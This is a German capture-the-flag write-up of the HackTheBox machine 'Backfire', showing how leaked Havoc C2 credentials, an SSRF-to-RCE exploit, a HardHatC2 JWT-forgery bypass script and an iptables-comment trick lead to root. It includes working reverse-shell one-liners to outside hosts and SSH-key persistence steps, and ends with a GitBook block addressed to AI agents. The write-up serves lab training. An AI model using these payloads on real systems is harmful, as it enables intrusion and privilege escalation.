> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md).

# Backfire HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/643>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Informationsleck (Yaotl-Datei)
* Ausnutzung von Havoc-C2 (Port 40046)
* Erstellen eines SSH-Schlüssels
* Pivoting (Benutzer: Sergej)
* Ausnutzung von HardHat (Port 7096)
  * HardHat - Authentifizierung umgehen
  * HardHat - Remotecodeausführung
* Sudo-Privilegieneskalation (IPTables)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/6d713209846b087f4f97274aeb9a30ac7ad47e1a" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/33cd5abc443e60bb0bc4c553e338a5d4c184d76d" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts
```

<figure><img src="/files/7e196d6a04c551be4f2d6dfc7ac34d4020629d42" alt=""><figcaption></figcaption></figure>

Versionsscan der Ports mit Nmap: (22,443,8000)

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted
```

<figure><img src="/files/be313e08c8bb98d499395dcfff8cafbf09761914" alt=""><figcaption></figcaption></figure>

### Port 8000

Auf Port 8000 finden wir zwei interessante Dateien:

* `disable_tls.path`
* `havoc.yaotl`

<figure><img src="/files/b7ba26eb1d99e2dc6d0cce4276acd7265d3d6915" alt=""><figcaption></figcaption></figure>

Das **havoc.yaotl** Die Datei enthält zwei Benutzer mit ihren Passwörtern und einem Domainnamen:

* **ilya:** `CobaltStr1keSuckz!`
* **sergej:** `1w4nt2sw1tch2h4rdh4tc2`
* **Host:** `backfire.htb`

<figure><img src="/files/73fdfd0aa4e5614353f1bcecace310802c0b95fb" alt=""><figcaption></figcaption></figure>

Wir fügen diesen Hostnamen in unsere `/etc/hosts` Datei für einen einfacheren Zugriff ein.

<figure><img src="/files/147b2eff125b0555a9e3efc809fd2016b3293f4c" alt="" width="563"><figcaption></figcaption></figure>

Das **disable/ tls.path** Die Datei enthält einen Patch zum Deaktivieren von TLS auf dem WebSocket-Management-Port (40056) in Havoc. Dieser Patch ersetzt "wss\://" durch "ws\://" und entfernt die SSL-Konfiguration sowohl für den Client als auch für den Server. Der Autor begründet diese Änderung damit, dass dieser Port nur lokale Verbindungen über SSH-Forwarding akzeptiert und so Sicherheitsrisiken reduziert. Dieser Patch scheint auch eine Anspielung auf den Benutzer **sergej**'schnelle Arbeit.

<figure><img src="/files/e91ab08871c001a0326bd673dae7e9fc495e3c40" alt=""><figcaption></figcaption></figure>

## Port 40046 Havoc-C2

{% embed url="<https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE>" %}

Um die SSRF-Schwachstelle in Havoc auszunutzen, erstellen wir eine `payload.sh` Datei mit dem folgenden Code:

```bash
#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```

Als Nächstes richten wir einen Webserver ein, um unsere Payload mit dem folgenden Befehl zu hosten:

```bash
python3 -m http.server 80
```

Anschließend lauschen wir mit netcat auf Port 4444, um die Reverse-Verbindung zu empfangen:

```bash
nc -nlvp 4444
```

Wir passen das Skript an, um die relevanten Informationen einzufügen, und führen dann den Exploit mit dem folgenden Befehl aus:

<figure><img src="/files/aa4af24bc68aa450f63b2c9825db82a5e7c58f2f" alt=""><figcaption></figcaption></figure>

```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```

**Benutzerzugriff:**

Der Benutzer **ilya** ermöglicht Ihnen, sich mit der Zielmaschine zu verbinden.

<figure><img src="/files/0314e44f57b2a0f7798e5697fa6d3f356c55546c" alt=""><figcaption></figcaption></figure>

#### Terminal-Stabilisierung

<pre class="language-bash"><code class="lang-bash">script /dev/null -c bash
Drücken Sie `Ctrl+Z` und stabilisieren Sie dann das Terminal:

stty raw -echo; fg
reset xterm
export TERM=xterm
<strong>export SHELL=bash
</strong>stty rows 44 columns 184
</code></pre>

### Flagge user.txt

<figure><img src="/files/8c3f5318de2403dd379e1889a8470a6112863d89" alt="" width="563"><figcaption></figcaption></figure>

Wir beobachten, dass ein Cronjob unsere Sitzung alle 2 Minuten beendet. Um dieses Problem zu umgehen, erstellen wir SSH-Schlüssel.

### **SSH-Schlüssel erstellen:**

Wir erzeugen einen neuen SSH-Schlüssel mit dem folgenden Befehl:

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
```

{% endcode %}

<figure><img src="/files/9a9de546beb7876e5d6b440e01615dccfa304de6" alt=""><figcaption></figcaption></figure>

Anschließend ändern wir die `authorized_keys` Datei, um unseren öffentlichen Schlüssel hinzuzufügen:

{% code overflow="wrap" %}

```bash
echo "YOU KEY" | tee -a ~/.ssh/authorized_keys
```

{% endcode %}

<figure><img src="/files/7fa345c294c21a3a0ac482bee59121c4d551123c" alt=""><figcaption></figcaption></figure>

Anschließend verbinden wir uns per SSH mit der Zielmaschine:

```bash
ssh ilya@backfire.htb
```

<figure><img src="/files/7dc1d0eac986a8f83000b558d4771c697c408e9f" alt=""><figcaption></figcaption></figure>

### **Pivot zu Benutzer Sergej**

Im Verzeichnis des Benutzers `ilya`, finden wir eine Datei `hardhat.txt` mit der folgenden Nachricht:

> Sergej sagte, er habe HardHatC2 zum Testen installiert und die Standardeinstellungen nicht geändert. Ich hoffe, er bevorzugt Havoc, denn ich möchte nicht noch ein weiteres C2-Framework und Go lernen

<figure><img src="/files/2e06ba00f5340bd60d93ebec08a2e1851247e35b" alt=""><figcaption></figcaption></figure>

Wir untersuchen die internen Ports mit dem `netstat` Befehl:

```bash
netstat -tuln
```

Die Ports 5000 und 7096 erscheinen besonders interessant.

<figure><img src="/files/306f115ec26e47df0aad31e744267c8739d84c8d" alt=""><figcaption></figcaption></figure>

**Portweiterleitung :**

Wir führen Portweiterleitung mit SSH durch, um auf interne Dienste zuzugreifen:

```bash
ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb
```

## **Port 7096 - HardHatC2-CMS :**

Auf Port 7096 finden wir das HardHat-CMS.

<figure><img src="/files/dbb9b7a27709bb177c9084303498b663f9aa5783" alt=""><figcaption></figcaption></figure>

### **Umgehung der HardHat-C2-Authentifizierung**

{% embed url="<https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7>" %}

Wir verwenden das folgende Skript, um die Authentifizierung zu umgehen und einen neuen Benutzer zu erstellen:

```python
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# Admin-JWT erzeugen  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("Generiertes JWT:")  
print(token)  
  
# Verwenden Sie das Admin-JWT, um als TeamLead einen neuen Benutzer 'sth_pentest' zu erstellen  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "jordan12345",  
"role": "TeamLead",  
"username": "jordan"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)
```

Das Skript erzeugt den Benutzer `jordan` mit der Rolle `TeamLead`.

<figure><img src="/files/9617fbc2602c3dc2b6454bb8ca24b1a1b5f87994" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/259f82d2819a7918ea84a8b6aadd4f9593aca783" alt=""><figcaption></figcaption></figure>

### Hardhat C2 (RCE)

Auf der `ImplantInteract` Teil haben wir Zugriff auf ein Terminal. Beim Ausführen des `whoami` Befehls sehen wir, dass wir als Benutzer angemeldet sind `sergej`.

<figure><img src="/files/d6bbc4e3f6869b2aff1fbef6721e2458db254fc7" alt=""><figcaption></figcaption></figure>

Wir richten eine Reverse Shell für den Benutzer ein `sergej` indem wir auf Port 443 lauschen:

```bash
nc -nlvp 443
```

Und führen wir den folgenden Befehl aus, um die Reverse-Verbindung herzustellen

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

Sobald verbunden, fügen wir unseren SSH-Schlüssel zu `authorized_keys` hinzu, um uns später leicht erneut verbinden zu können:

<figure><img src="/files/fa8ec2f12814060a15a817613345c2e9e59caf56" alt="" width="563"><figcaption></figcaption></figure>

```bash
echo "your key" | tee -a ~/.ssh/authorized_keys
```

## **Privilegieneskalation :**

### **Sudo - IP-Tables**

**Sudo-Rechte überprüfen**

Zunächst prüfen wir die auf der Maschine verfügbaren Sudo-Rechte:

```bash
sudo -l
```

<figure><img src="/files/172a18d799cc72efda51110605072dadac97ab87" alt="" width="556"><figcaption></figcaption></figure>

Wir entdecken, dass der Benutzer `sudo` passwortlose Rechte für die folgenden Befehle hat:

* `/usr/sbin/iptables`
* `/usr/sbin/iptables-save`

**Ein SSH-Schlüsselpaar erzeugen**

Wir erzeugen ein SSH-Schlüsselpaar, um unseren öffentlichen Schlüssel in die Authentifizierungsdateien von root einzuschleusen:

```bash
ssh-keygen  -t ed25519
```

Hier ist der erzeugte öffentliche Schlüssel:

{% code overflow="wrap" %}

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot
```

{% endcode %}

**Einfügen des öffentlichen Schlüssels in iptables**

Wir verwenden das `--comment` Feld von `iptables` um unseren öffentlichen Schlüssel in eine Regel einzuschleusen

{% code overflow="wrap" %}

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n'
```

{% endcode %}

Wir prüfen, dass die Regel hinzugefügt wurde:

```bash
 sudo /usr/sbin/iptables -L
```

<figure><img src="/files/380610214db147c244ab74b8178a2e1e597db8c1" alt=""><figcaption></figcaption></figure>

**In der authorized/\_keys-Datei speichern**

Wir speichern die iptables-Regeln in einer Datei, die als die Datei des root-Benutzers verwendet wird `authorized_keys` Datei ein:

```bash
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2
```

**Als root anmelden**

Schließlich können wir uns per SSH als root verbinden:

```bash
ssh root@backfire.htb
```

<figure><img src="/files/773d9fca57ffa03b6cb18d95d4d93227521ef9e3" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/6a4d16e4f99f87a4f1023142cc7663cf59d7f8ac" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
